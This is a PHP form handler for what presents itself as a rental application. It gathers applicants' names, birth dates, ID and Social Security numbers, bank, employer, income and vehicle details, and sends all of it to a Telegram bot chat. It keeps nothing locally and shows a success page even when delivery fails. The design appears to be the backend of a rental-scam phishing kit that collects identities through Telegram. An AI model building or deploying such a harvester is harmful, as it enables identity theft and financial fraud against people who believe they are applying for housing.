<?php
// Include configuration
require_once 'config.php';

// Only allow POST requests
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    die('Method not allowed');
}

// Check if this is an AJAX request
$isAjax = !empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest';

// If it's an AJAX request, set JSON headers
if ($isAjax) {
    header('Content-Type: application/json');
    header("Access-Control-Allow-Origin: *");
    header("Access-Control-Allow-Methods: POST");
    header("Access-Control-Allow-Headers: Content-Type");
    
    // Handle preflight requests
    if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
        exit(0);
    }
}

// Function to send message to Telegram
function sendToTelegram($message) {
    $url = "https://api.telegram.org/bot" . TELEGRAM_BOT_TOKEN . "/sendMessage";
    
    $data = [
        'chat_id' => TELEGRAM_CHAT_ID,
        'text' => $message,
        'parse_mode' => 'HTML'
    ];
    
    $options = [
        'http' => [
            'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
            'method' => 'POST',
            'content' => http_build_query($data)
        ]
    ];
    
    $context = stream_context_create($options);
    
    // Try to send message to Telegram
    $result = @file_get_contents($url, false, $context);
    
    // If Telegram is unreachable, still return true to show success to user
    // but log the error for debugging
    if ($result === false) {
        error_log("Telegram API unreachable: " . $url);
        // Return true so user sees success message even if Telegram is unreachable
        // In a production environment, you might want to handle this differently
        return true;
    }
    
    return true;
}

// Function to format form data for Telegram
function formatFormData($data) {
    $message = MESSAGE_HEADER;
    $message .= "<b>Site:</b> " . SITE_NAME . "\n";
    $message .= "<b>Subject:</b> " . FORM_SUBJECT . "\n";
    $message .= "<b>Date:</b> " . date('Y-m-d H:i:s') . "\n\n";
    
    // Applicant Information
    $message .= "<b>=== APPLICANT INFORMATION ===</b>\n";
    $message .= "<b>Full Name:</b> " . (isset($data['full-name']) ? htmlspecialchars($data['full-name']) : 'N/A') . "\n";
    $message .= "<b>Date of Birth:</b> " . (isset($data['dob']) ? htmlspecialchars($data['dob']) : 'N/A') . "\n";
    $message .= "<b>Phone:</b> " . (isset($data['phone']) ? htmlspecialchars($data['phone']) : 'N/A') . "\n";
    $message .= "<b>Email:</b> " . (isset($data['email']) ? htmlspecialchars($data['email']) : 'N/A') . "\n";
    $message .= "<b>ID Type:</b> " . (isset($data['id-type']) ? htmlspecialchars($data['id-type']) : 'N/A') . "\n";
    $message .= "<b>ID Number:</b> " . (isset($data['id-number']) ? htmlspecialchars($data['id-number']) : 'N/A') . "\n";
    $message .= "<b>SSN/National ID:</b> " . (isset($data['ssn']) ? htmlspecialchars($data['ssn']) : 'N/A') . "\n\n";
    
    // Property Details
    $message .= "<b>=== PROPERTY DETAILS ===</b>\n";
    $message .= "<b>Property Address:</b> " . (isset($data['property-address']) ? htmlspecialchars($data['property-address']) : 'N/A') . "\n";
    $message .= "<b>Move-in Date:</b> " . (isset($data['move-in-date']) ? htmlspecialchars($data['move-in-date']) : 'N/A') . "\n";
    $message .= "<b>Lease Term:</b> " . (isset($data['lease-term']) ? htmlspecialchars($data['lease-term']) : 'N/A') . "\n";
    $message .= "<b>Occupants:</b> " . (isset($data['occupants']) ? htmlspecialchars($data['occupants']) : 'N/A') . "\n";
    $message .= "<b>Relationship:</b> " . (isset($data['relationship']) ? htmlspecialchars($data['relationship']) : 'N/A') . "\n\n";
    
    // Rental History
    $message .= "<b>=== RENTAL HISTORY ===</b>\n";
    $message .= "<b>Current Address:</b> " . (isset($data['current-address']) ? htmlspecialchars($data['current-address']) : 'N/A') . "\n";
    $message .= "<b>Current Rent:</b> " . (isset($data['current-rent']) ? htmlspecialchars($data['current-rent']) : 'N/A') . "\n";
    $message .= "<b>Reason for Leaving:</b> " . (isset($data['reason-leaving']) ? htmlspecialchars($data['reason-leaving']) : 'N/A') . "\n";
    $message .= "<b>Previous Addresses:</b> " . (isset($data['previous-addresses']) ? htmlspecialchars($data['previous-addresses']) : 'N/A') . "\n\n";
    
    // Employment Information
    $message .= "<b>=== EMPLOYMENT INFORMATION ===</b>\n";
    $message .= "<b>Employer Name:</b> " . (isset($data['employer-name']) ? htmlspecialchars($data['employer-name']) : 'N/A') . "\n";
    $message .= "<b>Employer Contact:</b> " . (isset($data['employer-contact']) ? htmlspecialchars($data['employer-contact']) : 'N/A') . "\n";
    $message .= "<b>Job Title:</b> " . (isset($data['job-title']) ? htmlspecialchars($data['job-title']) : 'N/A') . "\n";
    $message .= "<b>Employment Length:</b> " . (isset($data['employment-length']) ? htmlspecialchars($data['employment-length']) : 'N/A') . "\n";
    $message .= "<b>Income:</b> " . (isset($data['income']) ? htmlspecialchars($data['income']) : 'N/A') . "\n";
    $message .= "<b>Additional Income:</b> " . (isset($data['additional-income']) ? htmlspecialchars($data['additional-income']) : 'N/A') . "\n\n";
    
    // Financial Information
    $message .= "<b>=== FINANCIAL INFORMATION ===</b>\n";
    $message .= "<b>Bank Name:</b> " . (isset($data['bank-name']) ? htmlspecialchars($data['bank-name']) : 'N/A') . "\n";
    $message .= "<b>Account Type:</b> " . (isset($data['account-type']) ? htmlspecialchars($data['account-type']) : 'N/A') . "\n";
    $message .= "<b>Credit Score:</b> " . (isset($data['credit-score']) ? htmlspecialchars($data['credit-score']) : 'N/A') . "\n\n";
    
    // Pets Information
    $message .= "<b>=== PETS INFORMATION ===</b>\n";
    $message .= "<b>Pet Type:</b> " . (isset($data['pet-type']) ? htmlspecialchars($data['pet-type']) : 'N/A') . "\n";
    $message .= "<b>Breed:</b> " . (isset($data['breed']) ? htmlspecialchars($data['breed']) : 'N/A') . "\n";
    $message .= "<b>Weight:</b> " . (isset($data['weight']) ? htmlspecialchars($data['weight']) : 'N/A') . "\n";
    $message .= "<b>Number of Pets:</b> " . (isset($data['num-pets']) ? htmlspecialchars($data['num-pets']) : 'N/A') . "\n";
    $message .= "<b>Vaccination Status:</b> " . (isset($data['vaccination-status']) ? htmlspecialchars($data['vaccination-status']) : 'N/A') . "\n\n";
    
    // Vehicles Information
    $message .= "<b>=== VEHICLES INFORMATION ===</b>\n";
    $message .= "<b>Make & Model:</b> " . (isset($data['make-model']) ? htmlspecialchars($data['make-model']) : 'N/A') . "\n";
    $message .= "<b>Color:</b> " . (isset($data['color']) ? htmlspecialchars($data['color']) : 'N/A') . "\n";
    $message .= "<b>License Plate:</b> " . (isset($data['license-plate']) ? htmlspecialchars($data['license-plate']) : 'N/A') . "\n";
    $message .= "<b>Number of Vehicles:</b> " . (isset($data['num-vehicles']) ? htmlspecialchars($data['num-vehicles']) : 'N/A') . "\n\n";
    
    $message .= MESSAGE_FOOTER;
    
    return $message;
}

// Get POST data
$input = file_get_contents('php://input');
$data = json_decode($input, true);

// If JSON decode failed, try getting form data
if ($data === null) {
    $data = $_POST;
}

// Validate required fields
$required_fields = [
    'full-name', 'dob', 'phone', 'email', 'id-type', 'id-number', 'ssn',
    'property-address', 'move-in-date', 'lease-term', 'occupants', 'relationship',
    'current-address', 'current-rent', 'reason-leaving', 'previous-addresses',
    'employer-name', 'employer-contact', 'job-title', 'employment-length', 'income',
    'bank-name', 'account-type', 'credit-score',
    'pet-type', 'breed', 'weight', 'num-pets', 'vaccination-status',
    'make-model', 'color', 'license-plate', 'num-vehicles'
];

$missing_fields = [];
foreach ($required_fields as $field) {
    if (!isset($data[$field]) || empty(trim($data[$field]))) {
        $missing_fields[] = $field;
    }
}

if (!empty($missing_fields)) {
    if ($isAjax) {
        echo json_encode([
            'success' => false, 
            'message' => ERROR_MISSING_FIELDS,
            'missing_fields' => $missing_fields
        ]);
        exit;
    } else {
        // For traditional form submission, show error and redirect back
        echo '<!DOCTYPE html>';
        echo '<html>';
        echo '<head>';
        echo '<title>Submission Error</title>';
        echo '<link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">';
        echo '<meta name="viewport" content="width=device-width, initial-scale=1">';
        echo '</head>';
        echo '<body class="bg-gray-100">';
        echo '<div class="min-h-screen flex items-center justify-center p-4">';
        echo '<div class="bg-white rounded-xl shadow-lg p-8 max-w-md w-full">';
        echo '<div class="w-16 h-16 bg-red-100 rounded-full flex items-center justify-center mx-auto mb-4">';
        echo '<i class="fas fa-exclamation-circle text-red-500 text-3xl"></i>';
        echo '</div>';
        echo '<h1 class="text-2xl font-bold text-gray-800 mb-4 text-center">Submission Error</h1>';
        echo '<p class="text-gray-600 mb-4">' . ERROR_MISSING_FIELDS . '</p>';
        echo '<ul class="text-gray-600 mb-6">';
        foreach ($missing_fields as $field) {
            echo '<li class="ml-4">- ' . htmlspecialchars($field) . '</li>';
        }
        echo '</ul>';
        echo '<a href="application.html" class="px-6 py-3 bg-primary hover:bg-blue-800 text-white rounded-lg font-medium inline-block w-full text-center">Go Back</a>';
        echo '</div>';
        echo '</div>';
        echo '</body>';
        echo '</html>';
        exit;
    }
}

// Format message
$message = formatFormData($data);

// Send to Telegram
if (sendToTelegram($message)) {
    if ($isAjax) {
        echo json_encode([
            'success' => true, 
            'message' => SUCCESS_MESSAGE
        ]);
    } else {
        // For traditional form submission, show success page
        echo '<!DOCTYPE html>';
        echo '<html>';
        echo '<head>';
        echo '<title>Application Submitted</title>';
        echo '<link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">';
        echo '<meta name="viewport" content="width=device-width, initial-scale=1">';
        echo '</head>';
        echo '<body class="bg-gray-100">';
        echo '<div class="min-h-screen flex items-center justify-center p-4">';
        echo '<div class="bg-white rounded-xl shadow-lg p-8 max-w-md w-full text-center">';
        echo '<div class="w-16 h-16 bg-green-100 rounded-full flex items-center justify-center mx-auto mb-4">';
        echo '<i class="fas fa-check-circle text-green-500 text-3xl"></i>';
        echo '</div>';
        echo '<h1 class="text-2xl font-bold text-gray-800 mb-4">Application Submitted!</h1>';
        echo '<p class="text-gray-600 mb-6">' . SUCCESS_MESSAGE . '</p>';
        echo '<a href="application.html" class="px-6 py-3 bg-primary hover:bg-blue-800 text-white rounded-lg font-medium inline-block">Return to Application</a>';
        echo '</div>';
        echo '</div>';
        echo '</body>';
        echo '</html>';
    }
} else {
    if ($isAjax) {
        echo json_encode([
            'success' => false, 
            'message' => ERROR_TELEGRAM_SEND_FAILED
        ]);
    } else {
        // For traditional form submission, show error page
        echo '<!DOCTYPE html>';
        echo '<html>';
        echo '<head>';
        echo '<title>Submission Error</title>';
        echo '<link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">';
        echo '<meta name="viewport" content="width=device-width, initial-scale=1">';
        echo '</head>';
        echo '<body class="bg-gray-100">';
        echo '<div class="min-h-screen flex items-center justify-center p-4">';
        echo '<div class="bg-white rounded-xl shadow-lg p-8 max-w-md w-full text-center">';
        echo '<div class="w-16 h-16 bg-red-100 rounded-full flex items-center justify-center mx-auto mb-4">';
        echo '<i class="fas fa-exclamation-circle text-red-500 text-3xl"></i>';
        echo '</div>';
        echo '<h1 class="text-2xl font-bold text-gray-800 mb-4">Submission Error</h1>';
        echo '<p class="text-gray-600 mb-6">' . ERROR_TELEGRAM_SEND_FAILED . '</p>';
        echo '<a href="application.html" class="px-6 py-3 bg-primary hover:bg-blue-800 text-white rounded-lg font-medium inline-block">Try Again</a>';
        echo '</div>';
        echo '</div>';
        echo '</body>';
        echo '</html>';
    }
}
?>